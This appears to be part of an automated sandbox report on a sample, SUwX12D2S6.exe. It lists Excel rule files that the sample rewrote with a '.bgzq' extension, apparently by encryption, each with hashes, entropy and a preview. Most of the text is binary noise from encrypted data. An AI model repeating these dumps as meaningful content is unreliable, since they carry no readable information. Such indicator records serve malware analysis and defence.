Preview:	<?xmlb..dL#.<a.$..%!.A.>......S...r.)J.2.M...'g.V{...D...<.....O..A._+.$..OK.~.a...7.:.D.IO....s.z.-.mi-..`Lv..I...u.a..#.Z.. F$3...\.n...8......s;"r..GM..1=-?.'R......;......8..o{S.?..,a..P..C....L...+.o..w.BkFo>.6..o..A...d..K......I..O&._.~.7f.R..KxG....Z.....X=.7........9....}..:^.Pg...p$.D.<...Y.......).2..1..ph...e.?r}.vRA.H'7.....U/.....o.....Q...bzo.J.p....D.P.h...8uc#N..q..Y..7.b..}..0...6.k.."..x.d9x......L".@....bm.....U......BGzLuN.K..=...7....Jhk..l...qT<..H+..6.i1\|...8t.w.U9U....B..u.V....._...6.!..m....[7.%.#..3o..U...!..G..YSS~...cE.._o..#?1e.y.q...:+i:.....QkV[p...p.ma........C\.9...5..X.....IX.8..~Qs:xO....jLV...`^....o.p..R. 2+..{..jA.=...6....;.........2.@J.s..0%X..wV.3.;Z.b.7t.y..;u......h..4=......].Q.:.l.2..... ..Ko..G.O...vZ.M..wf.{..k......4.D..I..q.......$:....S._o....O2.q...6..w.C..C\|.Tsk...}......-&.kCf2.$GNp...w..(kp.F...eJ8...4.8...(fn..d....L..0......#hz..aFE...ZkG...u........Za..I2.....B....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.6664026617972265
Encrypted:	false
SSDEEP:	12:XDtmTulp0pbT3C2rKnEruXGHK1/UwsRRph0ZDwgXeVAdyjVcii9a:au0pHkpXGqdsbXg8RQoVbD
MD5:	A01D71DE5D90556F494778497B153487
SHA1:	B9E8314BCF46DBF565CAF09146645F50EF0F316D
SHA-256:	79C6924885A11496DB94F3460D05864647AAF083337450514AE396D18E4775EC
SHA-512:	3BC345E85A5765B3393C7940B4C92B2F21A9A5581BB375ED3BA8DC59A2B4991444D19004308F7FC00F4994BAB67B4448DF850C2B764205C59A764FCB5612BB14
Malicious:	false
Preview:	<?xml.;_Q..<..A.n.y4.....V..&....{.<'`.o...-.z..1i.;D..F.....hL.y.. Qu.....V.Q.8.I1..:.D..f.f.\|K....+.M.oG.i6..c...Qf.z/.!.0.\|f..m".:.......N...X.].m.{h.;...E9<....g...&...m...9......g.q3..r..l..D.&..........^".d.....X3.M.H..+g....w..)..z.U.....m...lJ6.........qZ..N.u.2V.kK.@..g.3...K.%....\....]3d..t....n[U;...l>...;.......ofp....4O....%gD.....Bw.....B.6..X.0..[oj........#.5.....$..Bb0l......'.]..o.oE...L..u.:.~..{......I{O...]dJ...0~..kvNF..V.Y..P...La.M^.........jU.R..mH.$.-..G.d..w.{.H...k..&..........2.\|....g..u"J"J._.}Qu]..&O....9.....p...X.>.i.........#.b....W.j).../.(8.TX.sX.s.'.J..f*.B.j.t.`)}{.&D...`...8itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.87597150497834
Encrypted:	false
SSDEEP:	48:HctvVFQU2I/PtOCkMVZ/MrbEpBOPLSOoBpIEhOwBFD:UFunMfMr6OPLFmpIRq9
MD5:	6C96CE49845C1861A073A755ACFD95CB
SHA1:	2851B7E62B57027F1FB69B5E516A00FFEEB927BA
SHA-256:	E43C27D7D3BAD634E9E697E2070D84B9FAFF9696DFCF722C734BD56CE581B3AB
SHA-512:	BE9014D1B14504D83BB9C6796AA32E7F79EEC7D83948D4C0EEDB7F176B52450E6470FF2BDCDCFB04FE1DDC83D5E394504B608C019CCAF630EA15C55B828F52D7
Malicious:	false
Preview:	<?xml%..].R\.'S...X.....h..... ....6...].Z....U.._.,...P.Jj....+]A0...6.{.....'....E$..)>...c...{.`..Wbb.....=2ulHS}......wZ.!....i.......S....mo[.....S.e...1....u.<..#.....x..D.y......@.tt...J.h..o..$D.d....(:.;.ax_T(.<..V..L..~........q^.`z.1.m.6>.;.&..[.....Ck.\|..kt6.....GL.........jg./.:.Xi.Y......x...d..l...>}!.R.~W^....5.koC....w?j+8p.../..A.8...b...".Ts{.u..{?A..3.....d\|...!.....0.E.+.J..-DS.'LV.'.b...t.K..:w.........?.&+...B....7.....!i.l.3.32/......1..(os.lG.2....8..)..B)...9....>...wEWy...>.G .J....>-..f...T...U{........q.oH_.....tF.....<..;.^R..]..Z....{...D.....~o.5._.......YM.9.^.r.P.h.O03.....8.1..FD.rzjo...H.A..\..3Z\..W.9{.9.\...?... .q.d..........z.7.~.X.pG.S..Z.........V...#..}...i......[uWGn...<..D..Sa.y...f....c..s."%}x..w/.7......_...Y.....4..{.R.."3X.].Gy......\|.r..`...........s.^..a...n....Q..DA.M..gA6.4d...F3..A...}.....]...^.....J......g.g:..). ...%...5.C/.>$%.....2...P.8."Mc.G...l.z3.7.U...3e8.#f...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.7302110285342645
Encrypted:	false
SSDEEP:	12:5XXJDM5A778qIYfouftP627CuRmPjkxCyEJArrvXioFcS0Ae15TGLmSsGhn7wAT3:sw78XYXftP4Wm5W/6AYTGSlGh7wBcVbD
MD5:	B1F9A2298DDE5C23AB6359057BC36149
SHA1:	E4E0B98C3195C290D940BCCA4F16644CFC85B99D
SHA-256:	34B21ED373DF6933389816358A53532D79E6D9D2FEB51872EF78CA2FFD6082C1
SHA-512:	B952C166BD32B899B856EF18C34BEA01349FB5EB7BB5637CEE6315BDB3114EF4BFB0997DB50D2FE44A5CC9293551753E31C9149DFE30C7F6D9939243EBEF234C
Malicious:	false
Preview:	<?xml..r.U..C.g .....Lv.)H.P5.1....1.....V5.y....X.-..B..........y\|m)....!..?l..V..W..T................(..b..y/.......<....f(....3......B....#..J....@2...fI.S..[..e..Y/$.(..h.....n.@..h....l..R.yD.HD....A.....){..27?.8u..}.}&R5.=.B..7.L.slj.<.".G..<.$_....V.:.R..q........<...V{.z{_T..X...;....2.......:..hM@.E....Y.7.;..#.eji{....i...U...q..<.e.`3Z.6...(../...l...o.I.....^j.Y1.5...K....{%.....VM..G.y.Z,.........}a......A)..0.R.t.p#...%.nJ..'..Y......[.eB....v{q.]9qm..3>..%.V..r.&E....G.TGm^7X..i-x.f.wA.5........'(..Z..rwB.o..9.C.<snH.5./7..aT.2p.9A.4S..).m6...p....".A.G.M.hJ......;^...n.8\.v.[...,6f.>......z.jUY...=..R.m..".....lM.k.d.c..f..>......:."..T.T......0b.\Sf........^...)jtqBxWitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.810247123229343
Encrypted:	false
SSDEEP:	24:PWHw70TyWNX3b39TSs+R46T+nfUo0ieKxiV+kVbD:nqz3Dt1+aC+bxiVJFD
MD5:	2F3C8745C294BB904EA0EA5541D7C66C
SHA1:	C5772BA1B4BA4AD6E7F2CC28A91361D44B3CC18D
SHA-256:	224CF8003828AF904A8E58037D2BF737ACFDBB720AD442E942A3CF7CA0039C35
SHA-512:	DD214870F442999B79468B95F63F6573F71B9A7ED3ED5DDFDC603CFBBEEEAB6A08190D0FA02129689F9244FC31AD6F352BFE4ACF780DCA9A86C7CCF8831DFF4D
Malicious:	false
Preview:	<?xmlJN.Z.."<`...........m@/p.\|.=a.tQ{.\|..o/7n.'.I......b..;..c.....;L.....v.a.0P~+4_p..X.....&cv&...];.1..L.7.Mm.n6(R.{ebu.4Q.1.....l..=2". .....1....;EvJ.4..d.7..k....0..X.....!xf.)C..^....$2._.Kc.[.<.[.$..7.9.I......\...R.Ll.Z..n.O......p...j%......&...e^...9.T...Z..z.{1...x..q..&..s...g.# 7...g.......8..IW<...].>......B...s.('..P..c.....G;s...k...3D(.,.6..a.r..v.$w.OL$.k7....d....H..s..c......'?v...... #...ABY..Y^bT[jI...o.....E...4.......C.W_..X..tD.\J....S.HmC...o..`......d...l.tbX.1..Y.N..........4i(......$....p.f.T.Qt.2JG..;..h....>f...XS./.....T..7SB.p.....u.}.X.!5.......n.0l.....R..o....<G......r...........wg...^....4.s~..p.;k4"!hi.=g..~.i...........P@l.0..`n>jH...)....>.wM.4.8..c...f....:zE......>v........%~....n.....L....\<.\.!!3..o..F...!......gF........A....oS.O......fS........<.u.......K.x.&.>d!#._...e...V.Y.%..2.......J..'.M...-G.^wW...=...p_.*.._...d..../F...s..G..\|.\|.6+`T.ti.../..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.860181360819113
Encrypted:	false
SSDEEP:	24:gRvqb/NhzwUD+mq8HY+IfOxo8ElBUvGCt3pzz3NCbKmHccebIoLSK3iVbD:gRSb/3RD+mq8HY+xmlBUvzpz0bt8XUoi
MD5:	4027678A0C89CC3ADA35EB2D02499992
SHA1:	7922B40218039D13DDC4B447C5DE037DDD00507C
SHA-256:	5691869E08D7DBAD44353B42DB7E4C5FD6B9ACFDB81A59D257DFB479495DA89F
SHA-512:	79F4BF6E10397A21BEF483A0549657731AB26592209F9B70AE3EC6CA5E58C4F422D8B78A0881DC89635CD7E1626AD01CFF03393E943BF5860093F90BD55307FB
Malicious:	false
Preview:	<?xml.i...d.Q..%..........U..e.%..7.....:.....c..fw.I....S....F...Z......BO....<Tcd...,.Y..3\Ao........c.u[,H....%;....y.f.ZxW.<=.=V.&.......1..].p./.G5c.&T...5n.=FU..}..mU6.^.3&q.A..M..3EK...]E+!..j...._?z.)..v(.......e8)..%.........y...3..`..$9[.2A16......xBs0.H.PxvhX.......................&..GB"..#.=.....8 ...j./&.i\_..mG....G.{...... .W...k[...........=AW=v.\|".p?,K_.&K.....F.);..z..b.^.{..s.m.G.<.?.:.k.4.@..5N.0...n.p....J.Bl...T...^.pA.B,.....3.r.R........d..^dwKK....F.....+MU$..O....\|X"C.-.E,..z...........d.d.~N..D..>.N..P.7....%..fZ....i-/....YH.....?]X.#,A.............4F.Do,.d..GO..;.W..Q...l..c...w...#v..g...{....Gt.5]2.VI..:.K......Y.F..Kc.@Q5..Ax....{e.........{....Ms.A.... .f...u.uR.e . {a..I.<J>d....e.W...."....u+7..^cf...f...-mQI..J.z.. .:..B.$m....Qx.Q.C.f.v.P.~}...t1..m...i.m^O.t!..;...{...0..o.......,.d...M...x~....&....+..g..%...C.:y..'az;bs.>/....~.....JF.j..}N..(.vS.F.e..(Y~.Nm1.@.F..;m....CE.....:?I..L.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.915814298893384
Encrypted:	false
SSDEEP:	48:yu+Rqq2ETVb9768BFbx/Ay6l/NLXHIFhMRECt/RyBA7+hEAFD:yJqzMVb9768B1dr6l/t3IFaRzfyBAKhX
MD5:	DECE2673761E1E268B28C9563CDBC3AF
SHA1:	E69A3DF3A4E04B1A69067350CD69A9C722A29423
SHA-256:	7ABB2501C625349FBE2695217F069335E814FE42B5521CCE400E774650AE5854
SHA-512:	A9708D37E38A94B6380A782745689F0FF50C1803A0187C488142B894B535D3A3677CDA1805FC374D8B9A72B9F6FB4CA52326951AF426A6A62AF05230C4273D16
Malicious:	false
Preview:	<?xml.e\2K...G.3..+.s.,.g.q......x..,X.D..o.R`.. .......(.....q.....5..@..N..DD....s^...$C....;..FX.L/p.0.!^..!....7.&...W.2>.....1.ue...V.t.......)..L[.H...Z.Fr.o@X.]...F.x......iUAvg.....5L.J.q.2.........X`...eh.....S..IW..<.9.)g..._.z.)...}....>......Y.V?5.Q...O..&7.a.C8.)<,.....M..T..k..^.%.xP-...~[.vFm..7".yD`.(....}.q..(.6.E=.....\..D...:..kP.q....7...V.3.oV..\.......Z........ ;r.X...I.'4.....'I....b.a...j..F.....7.WC...AW./....eI....,..-.6.P_..,.]"..s...~..@{w.....W'gz-H.k..b...VWH.u..aa.S.fk.1.]..B.<......&.{.......tux.>.fq..'.d...U.}.....v..0.&...l...Ew.j7..1.Y.k..=D..W..E......_.......-..\.;..i.a.Wz..../.K.`.dEpb....v....g.X6.....t(D.2.(.<,.t...$#3.%{...A..j..q..z.....M.FD...!.3...?.BC...C.+.sT,#.7B....I)n.4X.$?.,.....71....m.~...?I.7@o}...H.7.tl.7.D..!..ke#......3%.J!.}. .B6....k/F....d.gRI....pE....0..VN.\|..2.E.x.K4....3...H..l3.....S.l..X..+&),.6.......{).......\|`........IX..>G..b....q......cB......P.....a..Z...BzM..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.841679052073557
Encrypted:	false
SSDEEP:	24:zWawo8s7/d8Cd7dMGeN6wnmhc6T2/WwpyQZra8oNGvA+xB1KdGz3gMprbMxgFVbD:zWmT8kdT2/WMdaP6BQGz3gMprlFD
MD5:	67F34C7EAE230ACF543F797360B62694
SHA1:	6001A08777D25555C997891D5C023D7B333CB6BE
SHA-256:	6C4FA8EDB82A800247BD46E179B913332A9CF75BF874CA45E20CEBF13FEC7D3E
SHA-512:	C3E21004EC779603DCE52E89FCFBF86347CA32ECC780CE0AF42DEB3123C071BE07B9DE67E28422C110131467DAAEC59F37D6E4CC2A231BD23565F672A5DD6F66
Malicious:	false
Preview:	<?xml.."J.3@t......G..aXOhyx-....f..!.#.6Y`.n..jE...=......[.@X...p...x.1G]L.^....S..v..a..Y...g>...c...Z&."{.Q....S....-..>.....z..#s.\8-NP.L....u^..a-...4a0..`Z..2...[d.jG.(.T.>.0.h$I..;............0..<\|MY.[.?.....S.[..x.}..'i.jwmhCU.k...Y.j..."q...........[@..~."...i.,.n.j6l..`a...v..K.......J.@.6..`...eVo/...k.>......2..-c\|k.X......Z......R.....!}.C..P.bj..$.B.2..%..8p.#ra...P.$..L1i:.5....q.`..b..t[..-.t...^..z....6!.Gk...@.y..N...Sg.[......@\7....):[._.......W'kx..........?B..o..!.4ezc..{.{hzW.tW:...'......O.h=98@=D&.P.....l.6..EV........\|..x...(d..J........0H..eS...#Hm..S.V@{.............3....`..#4.+.b...0.v.....g....mj..=.2x.....Em.B......E...K.V,........c.6... ....6..M2.p.bX..N.G...4H:......"1]....*,V.Q.L.!..........A.....xo...[...rT_.V..q&f>~..M. .hY.&.0..[..%>.N.<....S...m%....k,..0.0.1)R../y9Q....-..b..[..R......~..)g..z.(6[c<.~t@t..'.......ex4......~..N.n=Mj.S)...X8.V...w..y....W.VW=...Rh+...n.>.U.e.2.r&.v.Z8y.4n..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.808390879466329
Encrypted:	false
SSDEEP:	24:QWtEgM1YOztGZ4yw9Yf6q9gGakVOFE2XnqnprY5kFvVbD:QWD+tS4TeFg2D7npkyFD
MD5:	78D60D58FBE167F6AC082CEBF9C3EE5A
SHA1:	C7833FBE62939F3E85C46F10B44DC9FFB6BCF5A9
SHA-256:	4A5029432EDD3A0F90B5796704CC001FEE8B98F1CD5C63D4DFDC547FBA637C4A
SHA-512:	6CA59CE87CEC0921AADA94217863A9FBAA8CA4DE174C18F998767FF0FEC9BBCFCB23C4F3A2DE5DCB5FFDFC3266BE44D37C51B4D1A45EAB6A9F62BD562E52CD21
Malicious:	false
Preview:	<?xmlm`..q...S..e......MPe....NP.\......H..:......[k.g{r.<..mD...?.......7mB=.f..6O.1L.[......P...$?<.+....P.$y'......<...Sj...$4.Ke..=jCX.e.......r Z.JE...sxyJ<c..6r#....B...sV.K.O....b.qLt..Y....K....D.3.~.F..q...i..m.._~..?....o(..&.;.Z..Z.A.*&.[..'.H#.K0+w..$LY..s..3Bu..........l.....)og......}....A$..&@..z.....?PO.l...U.mjY...GHC...Z{h.E.`......'{.-.f...g.(.....m.[E... s....Y.[7 ;E1...8.c..M...}!..l3..G....l....C.7.!.3l..%UP....t.3Gk}....1n...9.....,....h..42..[...D.........d.B .p.........v.N^.o..?...q.m...Fd1a\|{...P..Q.....>...%.OC.].c.&t.+...0u...0....v%.8\|...Z.&.h..@...pF...Yy...]O...+x._v..\|.V....o>.%.j!...x..N.O0[r...o8.;y.H....D(.-........ZC=.Fh+p...o.._........A.v.%.D..nq...p.O..T..4.?.l.w..Q.7..V,..{.....^.7.t.$6[..P..+.r..~h...\.#..o..&...I.IW....3/R"{........E.r.+.D8.f\|........).._{W..y..Y3.....1.....%..j....).B.D...,..VL\....T........){........;.N.-.....s.....3..9...NF'.?d{..;.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlg

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.8729914970872095
Encrypted:	false
SSDEEP:	24:7nYBREjg67MEM4gj66feHgqT6Lk2rIVaeXgNV3YYg5w/Up8PQQL0+PXOhtVbD:7neEjgGMH4y6XHlDUeqV3Xg5sUuPXIFD
MD5:	E30125C886C9631D802CC09719FB9B63
SHA1:	9ABBFE6456BCE7B30A05201BD42E95FCA8383831
SHA-256:	1C76125D217691F4C52BB42AFAF7AE948FE8FACA240441A1E5384452975FC72E
SHA-512:	EAA410F7DB55AA843CCB9CE9115DDCD140B1F92376F267524414893474B56CBC72F00C5BD59573F086FA5CFBFB13B1B67B6369F5814F038286D7E048C06DD6C6
Malicious:	false
Preview:	<?xml...X.\...T.nV......q@.8s..s................Z3..g...j....;`..}%^8.......;.p.<1d....YP....!Y..\|L..{Cm.o..^.....`....0F..T..U6..b.[...Ac.A.Z.4...&.Q.[.H..'44..e.F....L...B.K.$".....@...4...2X...2ts~..R...P.k.P.L..<.......T..kW.)....3.j.....A~i-hw`..v...8..^.!..!j<...W...{.....6.!.....v{.p....5...g.....<!....j.A...(..KR.}...}S..[M...w.0......V....{.hj..l..^Qd..wg,.....Lj.u,.P.\...b.^......<.sMD..Y@=.e.:.-.........I..c,(%.ru.K. .Nb...^...(f..1.-0.@..,w.(u....ODA.....rd... ..KV)..FE..sK.4...HL.I1..B..Ft.2.H..$.!.[.".,...T.&.h......B.cj.....e...M.o....[......&_#....>..+...?g....EWq\|"....Q...Q=".g.RcZo.;.7ua.b.,...k&.q....}H.,tY.!_.Np..Vo..>.&@...dv;C...L.$.....3.[.N.........}.UE.'H....kx.T......<3.......]G.$..S.g.#.b..5^.WNZ...../.Cc........W6.\.W.-.UU..L.J..a.4.\.m...n...D..5h.J.EP..l.aV^%.o.....`.L}..bU8t1>..G.....w...w.$Nbp....0......1=.q-Ow.#/..../..g:....=..q...,........F.=+.....~N...;r....6k-.{.{.........P.....CQ.[.t.q-......:d`i...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.812649132394254
Encrypted:	false
SSDEEP:	24:s78H4ItG0WRfFFZiu0nfJmRYYiZcG+R3uJevFqownvYPU8SWVbD:W8H4ItJm9ibgKY2cGQ3uJedqnvqHSWFD
MD5:	C73A4D82F84E878B99564A4FF4E48891
SHA1:	92F05448D038F09627FE689E5E33403137C2551D
SHA-256:	E341BB1A9E5210ADD864FE52F52D72003DDC1BB2A84940CCAC263CE46D6F342A
SHA-512:	E8332FFEE698157A5C2D3FFAB3CEECC770D574CDFC719182E6FE43FC1183508AF1E86717CA1C8790FB88C11226056A6C1743410208A1781B21DF31DC107EEAEE
Malicious:	false
Preview:	<?xml.d/.D..l..m~7..a.J.h+\|.ma.6...n.._........."JL.....F...~J.._..dx...z[A.....Khs^.}...k.3..~...}B..V.$\g..F8..Y..^N...\.W..{......M.$.?..x6Kc.,df)sg..\.s....s{..S+L...m}.>.r5Ww....XY.%{.1.n...a.7y....[...0.....i..........a@...'.f.2.m.......7.T.?...."s.g.J......Nn..1.....}..Q.O4...5...q<'.zI...A].A.W...Fo<.F[..K.R..&.f.$a.5...q.7..fz~..'.S.zs..Z..0...D.a.Ov.,a&....#".G....Z....k...P.6...4.k.V.....V'O.M.oj...b.(.7..p......P..._n.S"...j...n..yL.:y..a.\.`HQ....4........X..A...l....@\x\._.n6.bi...t.l1.C6....t....&..`.2^A{...T....M...(..@@.Uk=./=}.....}.H.}.n.cL....`n^.d0..Q....w...w........w.-<..F...g....F%.r...Fn.Fk.D&x.?.... \....T.1.@..}Bz._.\|..%.....a_....HZ@,0.'1,r...1.d}a;..Bs.c...`.z......d.B,.NP.k..S...;....Q..d..%3.W-.R...?<Z..9.^}.....+...4vL.\..R..>.........C..w........7...p..[.Y...>31...c..p=m...gH.:e..p.W........:....}r.Y.U+..:.9/..c\@...I.........i{_...j.."uK.Y..(.?..Ga:.....Ec.....Q.]IE..4.l...^*..&q......S....r.[..;5.Y..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.818820826000623
Encrypted:	false
SSDEEP:	24:uAG7bI+xMICOnX+b15OrQ2jmPSDncafdUt7VkdoS9rbFfow2VbD:uR7bGICGX+b1j2jmPSga1WKdzfow2FD
MD5:	B3BFD5A0A09E22B9E57F0C66CCB0BCE4
SHA1:	C63803F14E1B6897010C0321A9E33DD5B85C4796
SHA-256:	1B902554AC16B5BCC33E7250757F8D7894B9FAE9EE430193BD7033E4E683D9FE
SHA-512:	8983EB8BBE66FE346EA051372B5D3BD8BEEF49762B5305A23314B760A601B53241193170B42F0946928CD99A4B4F7C3A8FD2A680C7382A7E5C055A0C84B275A2
Malicious:	false
Preview:	<?xml......Z.mG...Wg.}.".t..Uq...p.;'..C.U..ER..1,=....z\..d.C.H7xB'.iC8$y.#.4.`..a..j...'..1Q...PV..4B.n....'..D.d".s~..n...Y...,(...LcAy..........?v...L..o.l...T._.5......Jj3.......8Vl....V^y.z..b"....f3]L=.q@.S.l..4..b....I.]3.q+&..P-.@..io...j.N..i.6.. `.F%F..b...^......R.\|Y...1..d...7xI5...)..bN......k.D.Z...{.iS.}t....-/.V..v.........qO..5Z.-.q.Z...!>....qE.i.s'..~RCK..\|H;m.....L..(.*y.K...p...Wv.7.,.....O....ig.s......w..w...e..."..R..kP..._.M.N6......I3SN...wN. ..J....$.ovV[...\|.E..+...M.c..!V" .h.Z"...b9.<.j.\|....M&.):?.\|Cd_...Q.^..Q 05...8.R...b...M..-.....Y.!....U...zP..!,..ENcF.xhUY.C`.....(2NT.J.s:yB.uj....8. ..0.5]tWA.2T8...?d...>"z.6C.L.c..X...(.S...E....4Ad.I..1.d.).....&?..j....V)E.H..c..Z...E.5...%..3..7../H.h_.kD.....".L\.#\....c......3...o....\|..VQ?.v....)...`.94..`.D....M...?.g.k...4...`+.........3.."p.... ...}.....@..OS......XN.b....Z.<].3...........'/...`.'...j,..]9..k.;A...........%.EA0i....3.[.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.910901474918691
Encrypted:	false
SSDEEP:	48:oxAb7nhnx70+LH7HBsU4d41PnUMrhQDWNd72VmzmUGBFD:mcxI4bhydkNqyiVKmUA9
MD5:	CF75C21659B12C5399948CF156299257
SHA1:	BA8DEB47F9FBAE992C170CF728B3793AE8460F63
SHA-256:	4B64D407FD4FD675CD8846BA0D1FA75265CAE100155CBD3B51F6F95CB97B8E34
SHA-512:	F6E94D6F95E60BC5B6848FD1F6608DEDDE0DF032FCBD5C79B71B4F75F5133E9FD8915751259F33E81D7EE4F2DDFD7CDBD1077E220D96EAE3A676EE0AE1E018B0
Malicious:	false
Preview:	<?xml..1.......e/...n.`..^..B.on.S.\/.nB....w....A..77..z...wMUb......w^...?RI..W....~.U......w.r-2..#..}w,.........f.8Y...:.+..\|G..{.AP....3N..c.....&.A..6....F.(.C)....K!.H..v.@.=:\|..\n!..CC.,...Ln i.(".\|..O.......!(...Uv.b`........G..=.H.....s\|.Sc6.Ab5jL.................}e."r.....bm.\|..@2V."...}.eo.!_..........`...lp.)f.F....d9.....f...E.5...".t..QDe...).5V].....W......C..../...=...eB:\|.7t.7#=!.p...O.S....2.:{....p.PxE..4.p..V%....G......MP..=:.,..y,."QK....{^x...pN...=.......W'>B...+Z..GOj.f.GH..P.b..N.....v.m..>...],.O.%..5.7...X......ZIo....>).K.T...@..'U....A.....+....zw?.,.....A..{.M=...`V.0.4.......1.../..MB.:B....S.tn.......m."}.+5..m;L..n.1x.s...5.w[...IFuv.4..a8..Q?R..#.....<.'n?...].beE..?...1<Zz....G.E.C...:.+\N..=..F.O.r.\....$.Y....=.&z@.....z......30.n...s....G...g.k......R..f..O...WN_s..%o..u..U...[.2).Fz.Y.8g..U.....3W.&pV...r?...PX...O.#.g..........E.&..... ..TF.k:I.a...%....`.1.G.m...T....^#...r...D%...........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.8921717621321035
Encrypted:	false
SSDEEP:	24:QKW4dR5fADsKPBh0jC/1OqvAnYg4P4p2+nO8mDI/9uIA7dDRasFoQutMNVbD:/T1fADsuyeOqvAns+nOKzAZDRDFo1tMj
MD5:	F02660E79FF411E1DEBEBE5BFCB0593A
SHA1:	65B04B554658A47EF85149E9E2D0B36D0B68BFD5
SHA-256:	3DF5AB1FA9E87DD6B07B4311D555E0F48AEB20CCD2ACEDB1EF387F84D7DF91F5
SHA-512:	3E6607B68EE4DC151876F9743BD8B10944A156DE8109E86399D33782F896FD0F58348F4EB813BFDCBD8B65BD39C2058F541719FCAB6DE41ED720C126EE5FFD82
Malicious:	false
Preview:	<?xml.......cXPK./.H.M..`..[.R.b......r.....=...(.q\........G.7r.t...c6.....R5D..,..&.L...4)j...;8!q.P.,...6...z.....[...B@...........`=%w..z(..^b.[Yzwf..r..a...6y[....o..^g 6..........J........?.V....x(.:.@. /N!,...E...>..Vt=..........K4..F..x...\|.....5.(S..I\[7.T...Zv...G..^.,......AMk....tt.@A.....GI......^o./...e...l..+.wQ...=D".G@M..m.nA.%.$....gc....kV~..hZ..XW.z.F..g9..+h.XN%...2q...-mYi..%.k....V......j\|...{.....B.Z.."..>.....\|Y..q.mu.0...v.U.Q2w8h.b..k.H........D`.~....o..Z..E.9..........8F.x.K:q..i..9.(..a$..y<.n..8.B..$.;.'.... (!D........t ...HD.wtEf.P.Hf......3\.t>.p.yiu4U.....y..}./..Pg....u<........VI7hYnG.`.G..!.....\v.....C.{.D:.,;.+....;..{....`......V8....>.+:2."P.\I..5.F.T;.[$.J.O..=p.T..\.c....=.rS:..1Sw.+.2<....V..0...}%.?.T.n".Q.GC@..et.b..."lX.<x.&...L.....n.@.N........6.V#.3.9t?X(=.yL.o.....p...A.o...l.......Tf.}A\....,.]U..},.{..}.3.*....OC.[..Z....w..J..6..Z.Q..[t..P.\|.6......7<?rFcT.....^.yO...0....e."

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.870117877395822
Encrypted:	false
SSDEEP:	24:wYg+wac7bLgj0Pxuuq9B+WPOdDDGdVUfGIrgEzUKoRFaV/NK5u5O/K+Ikww3nFBI:lg+IfgCxlIB+oORKdVkxU/EFKnC+Is3U
MD5:	3E014DCEBD914A0B7F931D9FFCBD15CA
SHA1:	9BC1E594B1828BC72985AAEE05121A50FFFF4EEE
SHA-256:	48F0F458A44E3439A4902EEC557EDFC0E5923D1E51FF0FDC067894FB43FED48C
SHA-512:	71379FF9237BAF08CB8D15FBAAC267568C725A8E6B60211F8C434960B81E526F0142A3E60B4F82708D16EF7573C0BC29521EE1F578291E111C77EF29D0CB1F8C
Malicious:	false
